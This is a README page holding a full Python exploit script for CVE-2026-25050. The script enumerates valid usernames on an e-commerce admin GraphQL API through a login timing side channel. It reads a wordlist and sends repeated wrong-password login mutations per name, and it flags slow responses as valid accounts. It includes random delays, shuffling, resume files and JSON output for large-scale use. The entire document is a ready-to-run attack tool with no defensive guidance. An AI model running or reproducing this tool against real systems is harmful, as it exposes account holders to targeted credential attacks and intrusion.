README.md
Rendering markdown...
#!/usr/bin/env python3
import aiohttp
import asyncio
import time
import numpy as np
import argparse
import sys
import os
import json
import random
HEADERS = {
"Content-Type": "application/json",
"apollo-require-preflight": "true",
}
QUERY = """
mutation AttemptLogin($username: String!, $password: String!, $rememberMe: Boolean!) {
login(username: $username, password: $password, rememberMe: $rememberMe) {
__typename
}
}
"""
ATTEMPTS = 20
FAST_THRESHOLD = 40
SLOW_THRESHOLD = 150
TIMEOUT = aiohttp.ClientTimeout(total=10)
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
BOLD = "\033[1m"
RESET = "\033[0m"
BANNER = f"""{RED}{BOLD}
██████╗ ██╗ ██╗███████╗
██╔════╝ ██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
CVE-2026-25050
{RESET}{CYAN}
Timing attack enables user enumeration in NativeAuthenticationStrategy
{RESET}
"""
def confidence_score(mean):
if mean <= FAST_THRESHOLD:
return 0
if mean >= SLOW_THRESHOLD:
return min(100, int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 100))
return int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 50)
async def measure(session, url, username, delay):
timings = []
payload = {
"operationName": "AttemptLogin",
"variables": {
"username": username,
"password": "TotallyWrongPassword123!",
"rememberMe": False
},
"query": QUERY
}
for _ in range(ATTEMPTS):
start = time.perf_counter()
async with session.post(url, json=payload, headers=HEADERS) as resp:
await resp.text()
timings.append((time.perf_counter() - start) * 1000)
if delay:
await asyncio.sleep(random.uniform(*delay) / 1000)
return np.mean(timings), np.std(timings)
async def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-w", "--wordlist", required=True)
parser.add_argument("--silent", action="store_true")
parser.add_argument("--shuffle", action="store_true")
parser.add_argument("--resume")
parser.add_argument("--json")
parser.add_argument("--delay")
args = parser.parse_args()
print(BANNER)
base_url = args.url.rstrip("/")
url = f"{base_url}/admin-api?languageCode=en"
if not os.path.isfile(args.wordlist):
print(f"{RED}[!] Wordlist not found{RESET}")
return
with open(args.wordlist, "r", encoding="latin-1", errors="ignore") as f:
usernames = [u.strip() for u in f if u.strip()]
if args.shuffle:
random.shuffle(usernames)
start_index = 0
results = []
if args.resume and os.path.isfile(args.resume):
with open(args.resume, "r") as f:
state = json.load(f)
start_index = state.get("index", 0)
results = state.get("results", [])
delay = None
if args.delay:
a, b = args.delay.split(":")
delay = (int(a), int(b))
total = len(usernames)
tested = start_index
valid_users = [r["username"] for r in results if r["verdict"] == "VALID"]
try:
async with aiohttp.ClientSession(timeout=TIMEOUT) as session:
for i in range(start_index, total):
user = usernames[i]
mean, std = await measure(session, url, user, delay)
tested += 1
conf = confidence_score(mean)
if mean > SLOW_THRESHOLD:
verdict = "VALID"
valid_users.append(user)
if args.silent:
print(f"\n{GREEN}[+] VALID USER FOUND: {user} ({conf}%) {RESET}")
elif mean < FAST_THRESHOLD:
verdict = "FAST"
else:
verdict = "AMBIGUOUS"
result = {
"username": user,
"mean_ms": round(mean, 2),
"stddev": round(std, 2),
"confidence": conf,
"verdict": verdict
}
results.append(result)
if args.resume:
with open(args.resume, "w") as f:
json.dump({"index": tested, "results": results}, f, indent=2)
if args.silent:
percent = tested / total * 100
print(f"\r{CYAN}[+] Progress: {percent:6.2f}% ({tested}/{total}){RESET}", end="", flush=True)
else:
print(f"{user:<20} {mean:7.2f} ms → {verdict} ({conf}%)")
except (KeyboardInterrupt, EOFError, asyncio.CancelledError):
pass
finally:
if args.silent:
print()
if args.json:
with open(args.json, "w") as f:
json.dump(results, f, indent=2)
if valid_users:
print(f"\n{GREEN}{BOLD}[+] Password-based accounts discovered:{RESET}")
for u in valid_users:
print(f" - {u}")
else:
print(f"\n{YELLOW}{BOLD}[-] No password-based accounts detected{RESET}")
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
pass